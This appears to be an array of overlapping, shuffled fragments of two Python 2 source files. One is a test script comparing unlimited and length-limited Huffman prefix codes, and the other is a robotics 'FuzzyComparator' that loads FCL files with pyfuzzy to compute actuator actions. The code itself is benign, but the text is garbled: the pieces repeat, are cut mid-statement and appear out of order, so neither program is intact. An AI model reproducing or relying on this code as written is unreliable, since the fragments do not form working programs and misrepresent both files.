"True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data: print 'Decoded' else: print",
"'code-16 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code16)),",
"lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code16)), 0), display_list(code16))",
"code = ord(c) if c == '\\n': return '\\\\n' if c == '\\t':",
"0] rows = [[] for _ in range((len(items) + columns - 1) /",
"i in range(256)], 0) for x in data: counts[x] += 1 counts =",
"w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w",
"'code-10 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code10)),",
"counts), 0) weights = [c * 1.0 / symbols for _,c in counts]",
"'0x%02x' % code def display_list(l): columns = 4 items = ['%s --> %3s'",
"in data: counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols",
"zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w * l",
"= iter(data) def get_be(self, n): res = 0 for _ in xrange(n): b",
"symbols for _,c in counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10",
"self.buffer.extend(res) def display_char(c): code = ord(c) if c == '\\n': return '\\\\n' if",
"lenght-limited class DummyInputStream(object): def __init__(self, data): self.data = iter(data) def get_be(self, n): res",
"lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code6)), 0), display_list(code6))",
"codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8', data, code8) test_coder('code-6', data, code6)",
"(sum((w * l for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted",
"class DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self, v, n): res =",
"= 0 for _ in xrange(n): b = self.data.next() res *= 2 if",
"raise Exception('Wrong input format') return res class DummyOutputStream(object): def __init__(self): self.buffer = []",
"sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)], 0) for x in data:",
"1) / columns)] try: ii = iter(items) while True: for r in rows:",
"== '\\r': return '\\\\r' if c == ' ': return \"' '\" if",
"Exception('Wrong input format') return res class DummyOutputStream(object): def __init__(self): self.buffer = [] def",
"for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data = iter(data) def get_be(self, n):",
"return '\\\\r' if c == ' ': return \"' '\" if code >",
"2 else '0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c)",
"b == '1': res += 1 elif b == '0': pass else: raise",
"ii = iter(items) while True: for r in rows: r.append(ii.next()) except StopIteration: pass",
"code > 32 and code < 128: return c return '0x%02x' % code",
"print 'code-10 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights,",
"% (sum((w * l for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data,",
"= ['\\t'.join(r) for r in rows] return '\\n'.join(res) def test_coder(name, data, code): encoder",
"% (sum((w * l for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8",
"make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited code",
"n): res = [] for _ in xrange(n): res.append('1' if v % 2",
"make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts,",
"res = ['\\t'.join(r) for r in rows] return '\\n'.join(res) def test_coder(name, data, code):",
"+= 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for",
"xrange(n): res.append('1' if v % 2 else '0') v /= 2 res.reverse() self.buffer.extend(res)",
"l for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data,",
"r in rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for r in",
"for r in rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for r",
"self.data = iter(data) def get_be(self, n): res = 0 for _ in xrange(n):",
"len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try: while True:",
"iter(items) while True: for r in rows: r.append(ii.next()) except StopIteration: pass res =",
"format') return res class DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self, v,",
"elif b == '0': pass else: raise Exception('Wrong input format') return res class",
"make_code_symbols as make_ll_code # ll for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data",
"columns - 1) / columns)] try: ii = iter(items) while True: for r",
"columns = 4 items = ['%s --> %3s' % (display_char(c), i) for c,i",
"= sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)], 0) for x in",
"in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w *",
"range((len(items) + columns - 1) / columns)] try: ii = iter(items) while True:",
"display_list(l): columns = 4 items = ['%s --> %3s' % (display_char(c), i) for",
"in l if i > 0] rows = [[] for _ in range((len(items)",
"if c == ' ': return \"' '\" if code > 32 and",
"if c == '\\r': return '\\\\r' if c == ' ': return \"'",
"else: raise Exception('Wrong input format') return res class DummyOutputStream(object): def __init__(self): self.buffer =",
"i) for c,i in l if i > 0] rows = [[] for",
"for x in data: counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' %",
"data, code): encoder = Encoder(code) dos = DummyOutputStream() for x in data: encoder.put(dos,",
"DummyInputStream(object): def __init__(self, data): self.data = iter(data) def get_be(self, n): res = 0",
"return c return '0x%02x' % code def display_list(l): columns = 4 items =",
"code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w * l for",
"\"' '\" if code > 32 and code < 128: return c return",
"for c,i in l if i > 0] rows = [[] for _",
"': return \"' '\" if code > 32 and code < 128: return",
"in data: encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer)",
"%s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print",
"= make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited",
"= [] for _ in xrange(n): res.append('1' if v % 2 else '0')",
"data: print 'Decoded' else: print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for",
"prefix_code import Encoder, Decoder from huffman import make_code_symbols as make_code from bounded_huffman import",
"= sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c in counts),",
"put_be(self, v, n): res = [] for _ in xrange(n): res.append('1' if v",
"except StopIteration: pass if ''.join(res) == data: print 'Decoded' else: print 'Error!' data",
"/ columns)] try: ii = iter(items) while True: for r in rows: r.append(ii.next())",
"= Decoder(code) res = [] try: while True: res.append(decoder.get(dis)) except StopIteration: pass if",
"x in data: encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer) dis =",
"% (sum((w * l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16",
"r in rows] return '\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code) dos",
"encoder = Encoder(code) dos = DummyOutputStream() for x in data: encoder.put(dos, x) print",
"name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res =",
"res = 0 for _ in xrange(n): b = self.data.next() res *= 2",
"rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for r in rows] return",
"for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' %",
"= ord(c) if c == '\\n': return '\\\\n' if c == '\\t': return",
"_,c in counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts,",
"code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w *",
"DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try: while True: res.append(decoder.get(dis)) except StopIteration:",
"_ in range((len(items) + columns - 1) / columns)] try: ii = iter(items)",
"pass if ''.join(res) == data: print 'Decoded' else: print 'Error!' data = sys.stdin.read()",
"'\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code) dos = DummyOutputStream() for x",
"== '1': res += 1 elif b == '0': pass else: raise Exception('Wrong",
"code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted lenght",
"0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l)",
"zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w * l",
"'0': pass else: raise Exception('Wrong input format') return res class DummyOutputStream(object): def __init__(self):",
"import Encoder, Decoder from huffman import make_code_symbols as make_code from bounded_huffman import make_code_symbols",
"def __init__(self, data): self.data = iter(data) def get_be(self, n): res = 0 for",
"* l for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght",
"code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8',",
"for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16)",
"Decoder(code) res = [] try: while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res)",
"return '\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code) dos = DummyOutputStream() for",
"sys sys.path.insert(0, '../src') from prefix_code import Encoder, Decoder from huffman import make_code_symbols as",
"c,i in l if i > 0] rows = [[] for _ in",
"make_ll_code # ll for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data = iter(data)",
"= dict.fromkeys([chr(i) for i in range(256)], 0) for x in data: counts[x] +=",
"= [] try: while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data:",
"make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8)",
"/ symbols for _,c in counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16)",
"--> %3s' % (display_char(c), i) for c,i in l if i > 0]",
"res = [] for _ in xrange(n): res.append('1' if v % 2 else",
"c == '\\n': return '\\\\n' if c == '\\t': return '\\\\t' if c",
"ll for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data = iter(data) def get_be(self,",
"n): res = 0 for _ in xrange(n): b = self.data.next() res *=",
"def display_list(l): columns = 4 items = ['%s --> %3s' % (display_char(c), i)",
"display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in",
"make_code_symbols as make_code from bounded_huffman import make_code_symbols as make_ll_code # ll for lenght-limited",
"* l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght",
"for _,c in counts), 0) weights = [c * 1.0 / symbols for",
"_ in xrange(n): b = self.data.next() res *= 2 if b == '1':",
"display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in",
"code def display_list(l): columns = 4 items = ['%s --> %3s' % (display_char(c),",
"'\" if code > 32 and code < 128: return c return '0x%02x'",
"in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w *",
"''.join(res) == data: print 'Decoded' else: print 'Error!' data = sys.stdin.read() counts =",
"Decoder from huffman import make_code_symbols as make_code from bounded_huffman import make_code_symbols as make_ll_code",
"res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data: print 'Decoded' else: print 'Error!'",
"== '0': pass else: raise Exception('Wrong input format') return res class DummyOutputStream(object): def",
"rows = [[] for _ in range((len(items) + columns - 1) / columns)]",
"_ in xrange(n): res.append('1' if v % 2 else '0') v /= 2",
"= sum((c for _,c in counts), 0) weights = [c * 1.0 /",
"= self.data.next() res *= 2 if b == '1': res += 1 elif",
"True: for r in rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for",
"if c == '\\n': return '\\\\n' if c == '\\t': return '\\\\t' if",
"= ['%s --> %3s' % (display_char(c), i) for c,i in l if i",
"return '0x%02x' % code def display_list(l): columns = 4 items = ['%s -->",
"%s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print",
"for _,c in counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10 =",
"in counts), 0) weights = [c * 1.0 / symbols for _,c in",
"[] try: while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data: print",
"'\\\\r' if c == ' ': return \"' '\" if code > 32",
"return '\\\\t' if c == '\\r': return '\\\\r' if c == ' ':",
"= [c * 1.0 / symbols for _,c in counts] codeu = make_code(counts)",
"test_coder(name, data, code): encoder = Encoder(code) dos = DummyOutputStream() for x in data:",
"try: while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data: print 'Decoded'",
"print name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res",
"%s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print"
] |
[
"commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR =",
"celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger =",
"Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return",
"logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value,",
"import task from celery.execute import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import",
"calculate\") try: inputs = { \"input\": real_value, } output = { \"action\": 0.0",
"= \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL",
"import re import logging from time import time from datetime import datetime from",
"continue \"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing",
"\".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e:",
"logger.info(\"Ready to FCL calculate\") try: inputs = { \"input\": real_value, } output =",
"} output = { \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except",
"pyfuzzy library. Maybe pip install pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise",
"logger.info(action) except Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator)",
"FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self):",
"% (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value == None: logger.info('NO REAL",
"fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load",
"('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value == None: logger.info('NO",
"time import time from datetime import datetime from celery.task import task from celery.execute",
"datetime import datetime from celery.task import task from celery.execute import send_task from celery.signals",
"= { \"input\": real_value, } output = { \"action\": 0.0 } action =",
"action logger.info(\"Ready to FCL calculate\") try: inputs = { \"input\": real_value, } output",
"library. Maybe pip install pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise e",
"pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise e # cannot continue #",
"\"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self): for actuator in self.config.actuators: system",
"import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator):",
"Original exception: {0}\".format(e)) raise e # cannot continue # load FCL file fcl_file",
"try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file {0} in",
"pip install pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise e # cannot",
"'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value == None: logger.info('NO REAL DATA to",
"pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install",
"+= 1 continue \"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception,",
"REAL DATA to COMPARE') missing_data += 1 continue \"\"\" # try load pyfuzzy",
"fuzzy reasoning \"\"\" def compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\")",
"fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file, fcl_path))",
"not specified FCL set, will be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key:",
"set, will be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1}",
"real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value ==",
"= { \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e:",
"import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import",
"has not specified FCL set, will be ignored.\") continue model_value, real_value = self.get_values(actuator)",
"FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system =",
"real_value)) \"\"\" if real_value == None: logger.info('NO REAL DATA to COMPARE') missing_data +=",
"1 continue \"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e:",
"import datetime from celery.task import task from celery.execute import send_task from celery.signals import",
"raise e # cannot continue # load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"])",
"fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except",
"= actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not specified FCL set, will",
"plan_name)), model_value, real_value)) \"\"\" if real_value == None: logger.info('NO REAL DATA to COMPARE')",
"COMPARE') missing_data += 1 continue \"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader",
"handling fuzzy reasoning \"\"\" def compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\",",
"load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip",
"from celery.execute import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from",
"= self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors',",
"{0}\".format(e)) raise e # cannot continue # load FCL file fcl_file = \".\".join([fcl_file,",
"logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for",
"actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR,",
"logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix this issue. Original exception: {0}\".format(e))",
"self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)),",
"file {0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL and get action logger.info(\"Ready",
"\"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e",
"continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s'",
"e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix this issue. Original exception:",
"Maybe pip install pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise e #",
"model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' %",
"{0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL and get action logger.info(\"Ready to",
"None: logger.info('NO REAL DATA to COMPARE') missing_data += 1 continue \"\"\" # try",
"compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file",
"send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator",
"real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system,",
"for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file =",
"install pyfuzzy fix this issue. Original exception: {0}\".format(e)) raise e # cannot continue",
"from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger",
"logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL and",
"celery.execute import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators",
"BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object",
"FCL set, will be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value:",
"in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None)",
"celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH",
"logger.info(\"Actuator has not specified FCL set, will be ignored.\") continue model_value, real_value =",
"e # cannot continue # load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path",
"for handling fuzzy reasoning \"\"\" def compare(self): for actuator in self.config.actuators: system =",
"cannot continue # load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH,",
"will be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} |",
"= logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling",
"actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return \"Fuzzy comparator emit 0 actions.\"",
"output = { \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception,",
"\"\"\" def compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name =",
"process FCL and get action logger.info(\"Ready to FCL calculate\") try: inputs = {",
"fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not specified FCL set,",
"actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not specified FCL set, will be",
"= fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file,",
"model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\"",
"== None: logger.info('NO REAL DATA to COMPARE') missing_data += 1 continue \"\"\" #",
"\"input\": real_value, } output = { \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"]",
"\"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return \"Fuzzy comparator emit 0",
"issue. Original exception: {0}\".format(e)) raise e # cannot continue # load FCL file",
"fcl_file: logger.info(\"Actuator has not specified FCL set, will be ignored.\") continue model_value, real_value",
"FCL calculate\") try: inputs = { \"input\": real_value, } output = { \"action\":",
"raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return \"Fuzzy comparator",
"None) if not fcl_file: logger.info(\"Actuator has not specified FCL set, will be ignored.\")",
"from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\"",
"get action logger.info(\"Ready to FCL calculate\") try: inputs = { \"input\": real_value, }",
"try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy",
"self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if",
"{ \"input\": real_value, } output = { \"action\": 0.0 } action = fuzy_system.calculate(inputs,",
"\"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self): for actuator",
"inputs = { \"input\": real_value, } output = { \"action\": 0.0 } action",
"from celery.task import task from celery.execute import send_task from celery.signals import celeryd_after_setup from",
"{0} model_value: {1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value))",
"path.\".format(fcl_file, fcl_path)) # process FCL and get action logger.info(\"Ready to FCL calculate\") try:",
"e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return \"Fuzzy",
"0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\"",
"= \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self): for",
"system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not",
"FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self): for actuator in self.config.actuators:",
"robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class",
"to COMPARE') missing_data += 1 continue \"\"\" # try load pyfuzzy try: import",
"{1} path.\".format(fcl_file, fcl_path)) # process FCL and get action logger.info(\"Ready to FCL calculate\")",
"model_value, real_value)) \"\"\" if real_value == None: logger.info('NO REAL DATA to COMPARE') missing_data",
"logger.info('NO REAL DATA to COMPARE') missing_data += 1 continue \"\"\" # try load",
"{ \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise",
"class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def compare(self): for actuator in",
"# try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library.",
"try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe",
"this issue. Original exception: {0}\".format(e)) raise e # cannot continue # load FCL",
"\"\"\" if real_value == None: logger.info('NO REAL DATA to COMPARE') missing_data += 1",
"= actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file:",
"ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value: {2}\".format(",
"except Exception, e: logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) #",
"load FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL and get",
"FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL and get action",
"import logging from time import time from datetime import datetime from celery.task import",
"to FCL calculate\") try: inputs = { \"input\": real_value, } output = {",
"missing_data += 1 continue \"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader except",
"load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system",
"{1} | real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if",
"\"\"\" # try load pyfuzzy try: import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy",
"fcl_path)) # process FCL and get action logger.info(\"Ready to FCL calculate\") try: inputs",
"exception: {0}\".format(e)) raise e # cannot continue # load FCL file fcl_file =",
"= fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator)",
"# cannot continue # load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path =",
"\"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\" def",
"file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path)",
"e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\" return \"Fuzzy comparator emit",
"} action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\" actuator_device",
"R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning",
